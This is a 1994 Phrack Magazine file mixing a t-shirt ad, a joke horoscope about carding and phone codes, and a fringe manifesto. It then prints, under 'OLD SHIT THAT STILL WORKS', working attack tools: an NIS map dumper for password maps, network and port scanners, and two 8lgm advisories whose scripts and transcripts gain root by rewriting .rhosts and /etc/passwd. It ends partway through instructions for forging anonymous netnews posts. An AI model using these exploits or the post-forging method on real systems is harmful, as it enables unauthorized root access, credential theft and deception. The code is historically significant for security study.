==Phrack Magazine== Volume Five, Issue Forty-Six, File 4 of 28 // // /\ // ==== // // //\\ // ==== ==== // // \\/ ==== /\ // // \\ // /=== ==== //\\ // // // // \=\ ==== // \\/ \\ // // ===/ ==== PART II ------------------------------------------------------------------------------ The official Legion of Doom t-shirts are still available. Join the net.luminaries world-wide in owning one of these amazing shirts. Impress members of the opposite sex, increase your IQ, annoy system administrators, get raided by the government and lose your wardrobe! Can a t-shirt really do all this? Of course it can! -------------------------------------------------------------------------- "THE HACKER WAR -- LOD vs MOD" This t-shirt chronicles the infamous "Hacker War" between rival groups The Legion of Doom and The Masters of Destruction. The front of the shirt displays a flight map of the various battle-sites hit by MOD and tracked by LOD. The back of the shirt has a detailed timeline of the key dates in the conflict, and a rather ironic quote from an MOD member. (For a limited time, the original is back!) "LEGION OF DOOM -- INTERNET WORLD TOUR" The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull-and-crossbones style. The back displays the words "Hacking for Jesus" as well as a substantial list of "tour-stops" (internet sites) and a quote from Aleister Crowley. -------------------------------------------------------------------------- All t-shirts are sized XL, and are 100% cotton. Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for postage. Send checks or money orders. Please, no credit cards, even if it's really your card. Name: __________________________________________________ Address: __________________________________________________ City, State, Zip: __________________________________________ I want ____ "Hacker War" shirt(s) I want ____ "Internet World Tour" shirt(s) Enclosed is $______ for the total cost. Mail to: Chris Goggans 603 W. 13th #1A-278 Austin, TX 78701 These T-shirts are sold only as a novelty items, and are in no way attempting to glorify computer crime. ------------------------------------------------------------------------------ introducing... The PHRACK Horoscope, Summer 1994 Foreseen in long nights of nocturnal lubrication by Onkel Dittmeyer --- Do you believe in the stars? Many do, some don't. In fact, the stars can tell you a whole lot about the future. That's bullshit? You don't believe it? Good. Be doomed. See you in hell. Here's the official PHRACK horoscope for all eleet hackerz for the summer of 1994. You can use this chart to find out your zodiac sign by your DOB. Aquarius.....01/20 - 02/18 Leo..........07/23 - 08/22 Pisces.......02/19 - 03/20 Virgo........08/23 - 09/22 Aries........03/21 - 04/19 Libra........09/23 - 10/22 Taurus.......04/20 - 05/20 Scorpio......10/23 - 11/21 Gemini.......05/21 - 06/20 Sagittarius..11/22 - 12/21 Cancer.......06/21 - 07/22 Capricorn....12/22 - 01/19 --- oOo This summer's best combinations oOo YOU LOVE BS VICTIM H0T WAREZ ============================================================== Aquarius Libra Leo Sagittarius Pisces Sagittarius Aquarius Cancer Aries Aries Cancer Capricorn Taurus Gemini Pisces Taurus Gemini Cancer Aries Scorpio Cancer Leo Virgo Gemini Leo Scorpio Gemini Leo Virgo Capricorn Sagittarius Libra Libra Virgo Libra Virgo Scorpio Pisces Capricorn Pisces Sagittarius Aquarius Scorpio Aquarius Capricorn Taurus Taurus Aries ============================================================== --- And Now... The 3l33t And Official PHRACK Summer 1994 Horoscope! Aries [March 21st - April 19th] There is a pot full of k0DeZ at the end of the rainbow for you. Try to channel all your ambition on finding it, hint: you won't find it in /bin/gif/kitchen.gear. Warning: Risk of bust between August 5th and August 10th! Luck [oooo.] - Wealth [oo...] - Bust risk [ooo..] - Love [o....] Taurus [April 20th - May 20th] PhedZzZz are lurking behind Saturn, obscured behind one of the rings. Be sure to *67 all your calls, and you'll be fine. Hint: Don't undertake any interstellar space travel, and avoid big yellow ships. Watch out for SprintNet Security between July 12th and August 1st. Luck [oo...] - Wealth [oo...] - Bust risk [oooo.] - Love [ooo..] Gemini [May 21st - June 20th] There might be a force dragging you into warez boards. Try to resist the attraction, or you might be thrown out of the paradise. Hint: If a stranger with a /ASL connect crosses your way, stay away from him. Warning: Your Dual Standard HST might explode sometime in June. Luck [o....] - Wealth [ooo..] - Bust risk [o....] - Love [oo...] Cancer [June 21st - July 22nd] There are dark forces on your trail. Try to avoid all people wearing suits, don't get in their cars, and don't let them give you shit. Hint: Leave the country as soon if you can, or you won't be able to. Look out for U4EA on IRC in late July, you might get /killed. Luck [o....] - Wealth [oo...] - Bust risk [ooooo] - Love [oo...] Leo [July 23rd - August 22nd] The path of Venus this year tells us that there is love on the way for you. Don't look for it on X-rated ftp sites, it might be out there somewhere. Hint: Try getting out of the house more frequently or you might miss it. Warning: If Monica Weaver comes across your way, break and run! Luck [ooo..] - Wealth [o....] - Bust risk [oo...] - Love [oooo.] Virgo [August 23rd - September 22nd] Pluto tells us that you should stay away from VAXes in the near future. Lunatic force tells us that you might have more luck on Berkeley UNIX. Hint: Try to go beyond cat /etc/passwd. Explore sendmail bugs. Warning: In the first week of October, there is a risk of being ANIed. Luck [oooo.] - Wealth [oo...] - Bust risk [oo...] - Love [o....] Libra [September 23rd - October 22nd] The closer way of Mars around the Sun this year might mean that you will be sued by a telco or a big corporation. The eclipse of Uranus could say that you might have some luck and card a VGA 486 Laptop. Hint: Be careful on the cordless. Watch out for good stuff in dumpsters between July 23rd and July 31st. Luck [oo...] - Wealth [o....] - Bust risk [oooo.] - Love [oo...] Scorpio [October 23rd - November 21st] Sun propulsions say that you should spend more time exploring the innards of credit report systems, but be aware that Saturn reminds you that one local car dealer has his I.D. monitored. Hint: Stay out of #warez Warning: A star called 43-141 might be your doom. Watch out. Luck [ooo..] - Wealth [oooo.] - Bust risk [oo...] - Love [oo...] Sagittarius [November 22nd - December 21st] Cold storms on Pluto suggest that you don't try to play eleet anarchist on one of the upcoming cons. Pluto also sees that there might be a slight chance that you catch a bullet pestering a cop. Hint: Be nice to your relatives. You might get lucky BSing during the third week of August. Luck [o....] - Wealth [oo...] - Bust risk [ooo..] - Love [oo...] Capricorn [December 22nd - January 19th] This summer brings luck to you. Everything you try is about to work out. You might find financial gain in selling k0DeZ to local warez bozos. Hint: Don't try to BS at a number who is a prime number, they will trace your ass and beat you to death with a raw cucumber. Special kick of luck between June 14th and July 2nd. Luck [ooooo] - Wealth [oooo.] - Bust risk [oo...] - Love [ooo..] Aquarius [January 20th - February 18th] The third moon of Saturn suggests to stay in bed over the whole summer, or everything will worsen. Avoid to go to any meetings and cons. Do not try to get up before September 11th. Hint: You can risk to call PRODIGY and have a gR3aT time. Warning: High chance of eavesdroping on your line on August 14th. Luck [.....] - Wealth [o....] - Bust risk [ooooo] - Love [o....] Pisces [February 19th - March 20th] Mars reads a high mobility this summer. You should try to go to a foreign county, maybe visit HEU II. Finances will be OK. Do not go on any buses for that might be your doom. Hint: Don't get a seat near a window, whatever you do. Warning: Avoid 6'8" black guys in Holland, they might go for your ass. Luck [ooo..] - Wealth [ooo..] - Bust risk [o....] - Love [oo...] If your horoscope does not come true, complain to god@heaven.mil. 31337 If it does, you are welcome to report it to onkeld@ponton.hanse.de. 43V3R ------------------------------------------------------------------------------ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: The SenseReal Mission If you are reading this it indicates you have reached a point along your journey that you will have to decide whether you agree with The SenseReal Foundation or whether you think that those who believe and support The SenseReal Foundation are crazy. Your decision to join The SenseReal Foundation on it's mission will undoubtedly change your life forever. When you understand the reason it exists and what it seeks you will better know how to decide. That is why this text was created. He is known as Green Ghost. Some know him as Jim Nightshade. He was born in 1966. He is not a baby boomer and he is not a Generation Xer. He falls into that group of the population that has so far escaped definition. He is a (yberpunk. He was (yberpunk before (yberpunk was cool. He is the founder and leader of The SenseReal Foundation. You will learn more about him later. But first you will have to know about the background. There once was a man named Albert Hoffman. In 1943, on April 16 Hoffman absorbed a threshold amount of the drug known as LSD. He experienced "a peculiar restlessness". LSD since that time has played an important role in this world. There are other agents involved in the story. Mary Pinchot, JFK, Nixon, Charles Manson, Jimi Hendrix, Timothy Leary, Elvis Presley and many others. There are too many details and explanations necessary to explain everything here. But this does not matter. Because the SenseReal Foundation is about riding the wave. We believe that the ultimate goal cannot be defined. To define it would be to destroy it. The SenseReal Foundation hopes that things can be changed for the better. But we realize that the situation can become much worse. From what history teaches us and what we instinctively feel, we know that there is a great probability that things will get much worse before and if things ever get better. Doom looms on the horizon like an old friend. Freedom is being threatened every day and The SenseReal Foundation seeks to defend and seek Freedom. Big Brother is here NOW and to deny his existence is only to play into his hand. The goal of our government both here in America and worldwide is to remain in power and increase it's control of The People. To expose Big Brother and destroy him is one of the many goals of The SenseReal Foundation. As a member of (yberspace and an agent of The SenseReal Foundation you will have to carefully consider your interaction with the flow of Info. The ideals of Liberty must be maintained. The SenseReal Foundation provides a grounding point. The place where the spark transfers from plasma to light and back to plasma. Tesla was not on the wrong track. The SenseReal Foundation is a mechanism which seeks to increase Freedom. Only by learning more can we defeat the Evil. The Good must prevail. If you have the Hacker spirit and think along the same lines then The SenseReal Foundation may be your calling. If you think like J.R. Dobbs or Green Ghost then it is possible we can make it through The Apocalypse. A final date has never been announced for this event. Green Ghost does not claim to know the exact date but he does claim to have some Info on it. Green Ghost does not claim to have all the answers or even to know all the questions. He was first exposed to computers in the early 70's at his local high school. The first computer he ever used was a Honeywell terminal connected to a mainframe operated at the home office of Honeywell and operated for the school. This machine was programed by feeding it stacks of cards with boxes X'd out with a No. 2 pencil. It did have a keyboard hooked up to a printer which served for the monitor. The text was typed out and the paper rolled out of the machine in great waves. This experience left him wanting more. Somewhere between the machine and the mind were all the questions and all the answers. The SenseReal Foundation will supply some of the means. We must all work together if we are to succeed. UNITED WE STAND, DIVIDED WE FALL. If you wish to participate with The SenseReal Foundation you must devote yourself to becoming an Info Agent. As an Info Agent it is your duty to seek Truth and Knowledge out wherever it is located. To Learn and to seek to increase the Learning of all at The SenseReal Foundation. Different people will be needed to help out in different ways. SenseReal's Info Agents are located all around the world and are in contact with fellow SenseReal members via any one of several SenseReal facilities. The primary establishment and headquarters of The SenseReal Foundation is SenseReal's own online system: T /-/ E /-/ /=\ ( /< E R ' S /\/\ /=\ /\/ S / O /\/ >>>::: 1 - 8 0 3 - 7 8 5 - 5 0 8 0 :::<<< 27 Hours Per Day /14.4 Supra /Home of The SenseReal Foundation Also contact via SenseReal's mail drop by writing or sending materials to: TSF \ Electronic Mail: P.O. BOX 6914 \ Green_Ghost@neonate.atl.ga.us HILTON HEAD, SC 29938-6914 \ The Hacker's /\/\ansion is a system like no other. While it is not your typical Hackers board it has much Info on Hacking. While it is not like any Adult system you've ever seen it has the most finest Adult material available anywhere. It is not a Warez board but we are definitely Pirates. Because we are (yberpunks. What makes the Hacker's Mansion different is our emphasis on quality. Everything that you find at The /-/acker's /\/\ansion is 1ST (lass. All the coolest E-zines are pursued here. Phrack, CUD, and Thought Virus to name just a few. Of course there is one other source for Thought Virus: Send E-Mail to: ListServ@neonate.atl.ga.us In the subject or body of the message write: FAQ ThoughtCriminals and you will receive the current issue in your E-Mail box in no time. If you wish to join the Thought Criminals mailing list and communicate with your fellow Thought Criminals via E-Mail then send another message to: ListServ@neonate.atl.ga.us and write the following in the subject or body of the message: Subscribe ThoughtCriminals Your-Address-Here or simply: Subscribe ThoughtCriminals To mail others on the Thought Criminals mailing list send a message to: ThoughtCriminals@neonate.atl.ga.us Tell us all. Communication is vital. Our survival may depend on it. The SenseReal Foundation is about the allegiance of many people, and indeed beings, as our friends from other planets can tell you. The EFF inspired us and was a model but we don't have the EFF's money so we need YOU. If you are someone who can contribute or who believes in The Cause or are just interested in Tax Resistance or the Free The Weed movement then you should join The SenseReal Foundation today. Contact us through any of above channels and become a Freedom Fighter today. Time is of the essence. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ------------------------------------------------------------------------------ ** OLD SHIT THAT STILL WORKS ** - sometimes - /* * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY. * * ypsnarf - exercise security holes in yp/nis. * * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik * (casper@fwi.uva.nl). * * Usage: * ypsnarf server client * - to obtain the yp domain name * ypsnarf server domain mapname * - to obtain a copy of a yp map * ypsnarf server domain maplist * - to obtain a list of yp maps * * In the first case, we lie and pretend to be the host "client", and send * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this * to work, "server" must be running rpc.bootparamd, and "client" must be a * diskless client of (well, it must boot from) "server". * * In the second case, we send a YPPROC_DOMAIN request to the host "server", * asking if it serves domain "domain". If so, we send YPPROC_FIRST and * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map * "mapname". Note that you must specify the full yp map name, you cannot * use the shorthand names provided by "ypcat". * * In the third case, the special map name "maplist" tells ypsnarf to send * a YPPROC_MAPLIST request to the server and get the list of maps in domain * "domain", instead of getting the contents of a map. If the server has a * map called "maplist" you can't get it. Oh well. * * Since the callrpc() routine does not make any provision for timeouts, we * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer. * * This program uses UDP packets, which means there's a chance that things * will get dropped on the floor; it's not a reliable stream like TCP. In * practice though, this doesn't seem to be a problem. * * To compile: * cc -o ypsnarf ypsnarf.c -lrpcsvc * * David A. Curry * Purdue University * Engineering Computer Network * Electrical Engineering Building * West Lafayette, IN 47907 * davy@ecn.purdue.edu * January, 1991 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */ #define YPSNARF_TIMEOUT1 15 /* timeout for initial request */ #define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */ char *pname; /* program name */ main(argc, argv) char **argv; int argc; { char *server, *client, *domain, *mapname; pname = *argv; /* * Process arguments. This is less than robust, but then * hey, you're supposed to know what you're doing. */ switch (argc) { case 3: server = *++argv; client = *++argv; get_yp_domain(server, client); exit(0); case 4: server = *++argv; domain = *++argv; mapname = *++argv; if (strcmp(mapname, "maplist") == 0) get_yp_maplist(server, domain); else get_yp_map(server, domain, mapname); exit(0); default: fprintf(stderr, "Usage: %s server client -", pname); fprintf(stderr, "to obtain yp domain name\n"); fprintf(stderr, " %s server domain mapname -", pname); fprintf(stderr, "to obtain contents of yp map\n"); exit(1); } } /* * get_yp_domain - figure out the yp domain used between server and client. */ get_yp_domain(server, client) char *server, *client; { long hostip; struct hostent *hp; bp_whoami_arg w_arg; bp_whoami_res w_res; extern void timeout(); enum clnt_stat errcode; /* * Just a sanity check, here. */ if ((hp = gethostbyname(server)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, server); exit(1); } /* * Allow the client to be either an internet address or a * host name. Copy in the internet address. */ if ((hostip = inet_addr(client)) == -1) { if ((hp = gethostbyname(client)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, client); exit(1); } bcopy(hp->h_addr_list[0], (caddr_t) &w_arg.client_address.bp_address.ip_addr, hp->h_length); } else { bcopy((caddr_t) &hostip, (caddr_t) &w_arg.client_address.bp_address.ip_addr, sizeof(ip_addr_t)); } w_arg.client_address.address_type = IP_ADDR_TYPE; bzero((caddr_t) &w_res, sizeof(bp_whoami_res)); /* * Send a BOOTPARAMPROC_WHOAMI request to the server. This will * give us the yp domain in the response, IFF client boots from * the server. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg, xdr_bp_whoami_res, &w_res); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Print the domain name. */ printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name); /* * The maximum domain name length is 255 characters, but the * rpc.bootparamd program truncates anything over 32 chars. */ if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN) printf(" (truncated?)"); /* * Put out the client name, if they didn't know it. */ if (hostip != -1) printf(" (client name = %s)", w_res.client_name); putchar('\n'); } /* * get_yp_map - get the yp map "mapname" from yp domain "domain" from server. */ get_yp_map(server, domain, mapname) char *server, *domain, *mapname; { char *reqp; bool_t yesno; u_long calltype; bool (*xdr_proc)(); extern void timeout(); enum clnt_stat errcode; struct ypreq_key keyreq; struct ypreq_nokey nokeyreq; struct ypresp_key_val answer; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } /* * Now we just read entry after entry... The first entry we * get with a nokey request. */ keyreq.domain = nokeyreq.domain = domain; keyreq.map = nokeyreq.map = mapname; reqp = (caddr_t) &nokeyreq; keyreq.keydat.dptr = NULL; answer.status = TRUE; calltype = YPPROC_FIRST; xdr_proc = xdr_ypreq_nokey; while (answer.status == TRUE) { bzero((caddr_t) &answer, sizeof(struct ypresp_key_val)); signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT2); errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc, reqp, xdr_ypresp_key_val, &answer); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Got something; print it. */ if (answer.status == TRUE) { printf("%.*s\n", answer.valdat.dsize, answer.valdat.dptr); } /* * Now we're requesting the next item, so have to * send back the current key. */ calltype = YPPROC_NEXT; reqp = (caddr_t) &keyreq; xdr_proc = xdr_ypreq_key; if (keyreq.keydat.dptr) free(keyreq.keydat.dptr); keyreq.keydat = answer.keydat; if (answer.valdat.dptr) free(answer.valdat.dptr); } } /* * get_yp_maplist - get the yp map list for yp domain "domain" from server. */ get_yp_maplist(server, domain) char *server, *domain; { bool_t yesno; extern void timeout(); struct ypmaplist *mpl; enum clnt_stat errcode; struct ypresp_maplist maplist; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } maplist.list = (struct ypmaplist *) NULL; /* * Now ask for the list. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST, xdr_wrapstring, (caddr_t) &domain, xdr_ypresp_maplist, &maplist); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); if (maplist.status != YP_TRUE) { fprintf(stderr, "%s: cannot get map list: %s\n", pname, yperr_string(ypprot_err(maplist.status))); exit(1); } /* * Print out the list. */ for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next) printf("%s\n", mpl->ypml_name); } /* * print_rpc_err - print an rpc error and exit. */ print_rpc_err(errcode) enum clnt_stat errcode; { fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode)); exit(1); } /* * timeout - print a timeout and exit. */ void timeout() { fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname); exit(1); } ------------------------------------------------------------------------------ #!/bin/perl -s # # Scan a subnet for valid hosts; if given hostname, will look at the # 255 possible hosts on that net. Report if host is running rexd or # ypserv. # # Usage: scan n.n.n.n # mine, by default $default = "130.80.26"; $| = 1; if ($v) { $verbose = 1; } if ($#ARGV == -1) { $root = $default; } else { $root = $ARGV[0]; } # ip address if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) { ($na, $ad, $ty, $le, @host_ip) = gethostbyname($root); ($one,$two,$three,$four) = unpack('C4',$host_ip[0]); $root = "$one.$two.$three"; if ($root eq "..") { die "Can't figure out what to scan...\n"; } } print "Subnet $root:\n" if $verbose; for $i (01..255) { print "Trying $root.$i\t=> " if $verbose; &resolve("$root.$i"); } # # Do the work # sub resolve { local($name) = @_; # ip address if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) { ($a,$b,$c,$d) = split(/\./, $name); @ip = ($a,$b,$c,$d); ($name) = gethostbyaddr(pack("C4", @ip), &AF_INET); } else { ($name, $aliases, $type, $len, @ip) = gethostbyname($name); ($a,$b,$c,$d) = unpack('C4',$ip[0]); } if ($name && @ip) { print "$a.$b.$c.$d\t$name\n"; system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R unning ypserv.\"\nfi\nfi"); } else { print "unable to resolve address\n" if $verbose; } } sub AF_INET {2;} ------------------------------------------------------------------------------ /* * probe_tcp_ports */ #include #include #include #include #include #include #include #define RETURN_ERR -1 #define RETURN_FAIL 0 #define RETURN_SUCCESS 1 int Debug; int Hack; int Verbose; main(ArgC, ArgV) int ArgC; char **ArgV; { int Index; int SubIndex; for (Index = 1; (Index < ArgC) && (ArgV[Index][0] == '-'); Index++) for (SubIndex = 1; ArgV[Index][SubIndex]; SubIndex++) switch (ArgV[Index][SubIndex]) { case 'd': Debug++; break; case 'h': Hack++; break; case 'v': Verbose++; break; default: (void) fprintf(stderr, "Usage: probe_tcp_ports [-dhv] [hostname [hostname ...] ]\n"); exit(1); } for (; Index < ArgC; Index++) (void) Probe_TCP_Ports(ArgV[Index]); exit(0); } Probe_TCP_Ports(Name) char *Name; { unsigned Port; char *Host; struct hostent *HostEntryPointer; struct sockaddr_in SocketInetAddr; struct hostent TargetHost; struct in_addr TargetHostAddr; char *AddressList[1]; char NameBuffer[128]; extern int inet_addr(); extern char *rindex(); if (Name == NULL) return (RETURN_FAIL); Host = Name; if (Host == NULL) return (RETURN_FAIL); HostEntryPointer = gethostbyname(Host); if (HostEntryPointer == NULL) { TargetHostAddr.s_addr = inet_addr(Host); if (TargetHostAddr.s_addr == -1) { (void) printf("unknown host: %s\n", Host); return (RETURN_FAIL); } (void) strcpy(NameBuffer, Host); TargetHost.h_name = NameBuffer; TargetHost.h_addr_list = AddressList, TargetHost.h_addr = (char *) &TargetHostAddr; TargetHost.h_length = sizeof(struct in_addr); TargetHost.h_addrtype = AF_INET; TargetHost.h_aliases = 0; HostEntryPointer = &TargetHost; } SocketInetAddr.sin_family = HostEntryPointer->h_addrtype; bcopy(HostEntryPointer->h_addr, (char *) &SocketInetAddr.sin_addr, HostEntryPointer->h_length); for (Port = 1; Port < 65536; Port++) (void) Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr); return (RETURN_SUCCESS); } Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr) unsigned Port; struct hostent *HostEntryPointer; struct sockaddr_in SocketInetAddr; { char Buffer[BUFSIZ]; int SocketDescriptor; struct servent *ServiceEntryPointer; SocketInetAddr.sin_port = Port; SocketDescriptor = socket(AF_INET, SOCK_STREAM, 6); if (SocketDescriptor < 0) { perror("socket"); return (RETURN_ERR); } if (Verbose) { (void) printf("Host %s, Port %d ", HostEntryPointer->h_name, Port); if ((ServiceEntryPointer = getservbyport(Port, "tcp")) != (struct servent *) NULL) (void) printf(" (\"%s\" service) ", ServiceEntryPointer->s_name); (void) printf("connection ... "); (void) fflush(stdout); } if (connect(SocketDescriptor, (char *) &SocketInetAddr, sizeof(SocketInetAddr)) < 0) { if (Verbose) (void) printf("NOT open.\n"); if (Debug) perror("connect"); } else { if (!Verbose) { (void) printf("Host %s, Port %d ", HostEntryPointer->h_name, Port); if ((ServiceEntryPointer = getservbyport(Port,"tcp")) != (struct servent *) NULL) (void) printf(" (\"%s\" service) ", ServiceEntryPointer->s_name); (void) printf("connection ... "); (void) fflush(stdout); } (void) printf("open.\n"); if (Hack) { (void) sprintf(Buffer, "/usr/ucb/telnet %s %d", HostEntryPointer->h_name, Port); (void) system(Buffer); } } (void) close(SocketDescriptor); return (RETURN_SUCCESS); } ------------------------------------------------------------------------------ [8lgm]-Advisory-2.UNIX.autoreply.12-Jul-1991 PROGRAM: autoreply(1) (/usr/local/bin/autoreply) Supplied with the Elm Mail System VULNERABLE OS's: Any system with a standard installation of The Elm Mail System. All versions are believed to have this vulnerability. DESCRIPTION: autoreply(1) can be used to create root owned files, with mode 666. It can also overwrite any file with semi user-controlled data. IMPACT: Any user with access to autoreply(1) can alter system files and thus become root. REPEAT BY: This example demonstrates how to become root on most affected machines by modifying root's .rhosts file. Please do not do this unless you have permission. Create the following script, 'fixrhosts': 8<--------------------------- cut here ---------------------------- #!/bin/sh # # fixrhosts rhosts-file user machine # if [ $# -ne 3 ]; then echo "Usage: `basename $0` rhosts-file user machine" exit 1 fi RHOSTS="$1" USERNAME="$2" MACHINE="$3" cd $HOME echo x > "a $MACHINE $USERNAME b" umask 022 autoreply "a $MACHINE $USERNAME b" cat > /tmp/.rhosts.sh.$$ << 'EOF' ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'` exec autoreply off exit 0 EOF /bin/sh /tmp/.rhosts.sh.$$ $RHOSTS rm -f /tmp/.rhosts.sh.$$ "a $MACHINE $USERNAME b" exit 0 8<--------------------------- cut here ---------------------------- (Lines marked with > represent user input) > % id uid=97(8lgm) gid=97(8lgm) groups=97(8lgm) > % ./fixrhosts ~root/.rhosts 8lgm localhost You've been added to the autoreply system. You've been removed from the autoreply table. > % rsh localhost -l root csh -i Warning: no access to tty. Thus no job control in this shell. # FIX: 1. Disable autoreply. 2. Wait for a patch from the Elm maintainers. ------------------------------------------------------------------------------ [8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991 PROGRAM: lpr(1) (/usr/ucb/lpr or /usr/bin/lpr) VULNERABLE OS's: SunOS 4.1.1 or earlier BSD 4.3 BSD NET/2 Derived Systems A/UX 2.0.1 Most systems supporting the BSD LP subsystem DESCRIPTION: lpr(1) can be used to overwrite or create (and become owner of) any file on the system. lpr -s allows users to create symbolic links in lpd's spool directory (typically /var/spool/lpd). After 1000 invocations of lpr, lpr will reuse the filename in the spool directory, and follow the link previously installed. It will thus overwrite/create any file that this link points too. IMPACT: Any user with access to lpr(1) can alter system files and thus become root. REPEAT BY: This example demonstrates how to become root on most affected machines by modifying /etc/passwd and /etc/group. Please do not do this unless you have permission. Create the following script, 'lprcp': 8<--------------------------- cut here ---------------------------- #!/bin/csh -f # # Usage: lprcp from-file to-file # if ($#argv != 2) then echo Usage: lprcp from-file to-file exit 1 endif # This link stuff allows us to overwrite unreadable files, # should we want to. echo x > /tmp/.tmp.$$ lpr -q -s /tmp/.tmp.$$ rm -f /tmp/.tmp.$$ # lpr's accepted it, point it ln -s $2 /tmp/.tmp.$$ # to where we really want @ s = 0 while ( $s != 999) # loop 999 times lpr /nofile >&/dev/null # doesn't exist, but spins the clock! @ s++ if ( $s % 10 == 0 ) echo -n . end lpr $1 # incoming file # user becomes owner rm -f /tmp/.tmp.$$ exit 0 8<--------------------------- cut here ---------------------------- (Lines marked with > represent user input) Make copies of /etc/passwd and /etc/group, and modify them: > % id uid=97(8lgm) gid=97(8lgm) groups=97(8lgm) > % cp /etc/passwd /tmp/passwd > % ex /tmp/passwd /tmp/passwd: unmodified: line 42 > :a > 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh > . > :wq /tmp/passwd: 43 lines, 2188 characters. > % cp /etc/group /tmp > % ex /tmp/group /tmp/group: unmodified: line 49 > :/wheel wheel:*:0:root,operator > :c > wheel:*:0:root,operator,8lgm > . > :wq /tmp/group: 49 lines, 944 characters. Install our new files: > % ./lprcp /tmp/group /etc/group ................................................................ ................................... lpr: cannot rename /var/spool/lpd/cfA060testnode > % ./lprcp /tmp/passwd /etc/passwd ................................................................. .................................. lpr: cannot rename /var/spool/lpd/cfA061testnode Check it worked: > % ls -l /etc/passwd /etc/group -rw-r--r-- 1 8lgm 944 Mar 3 19:56 /etc/group -rw-r--r-- 1 8lgm 2188 Mar 3 19:59 /etc/passwd > % head -1 /etc/group wheel:*:0:root,operator,8lgm > % grep '^8lgmroot' /etc/passwd 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh Become root and tidy up: > % su 8lgmroot # chown root /etc/passwd /etc/group # rm -f /tmp/passwd /tmp/group # FIX: 1. Contact your vendor for a fix. 2. In the meantime, apply the following patch, derived from BSD NET/2 source, which will correct the flaw on most affected systems: ------------------------------------------------------------------------------ Anonymous netnews without "anonymous" remailers Save any news article to a file. We'll call it "hak" in this example. Edit hak, and remove any header lines of the form From some!random!path!user (note: "From ", not "From: " !!) Article: Lines: Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message-ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate 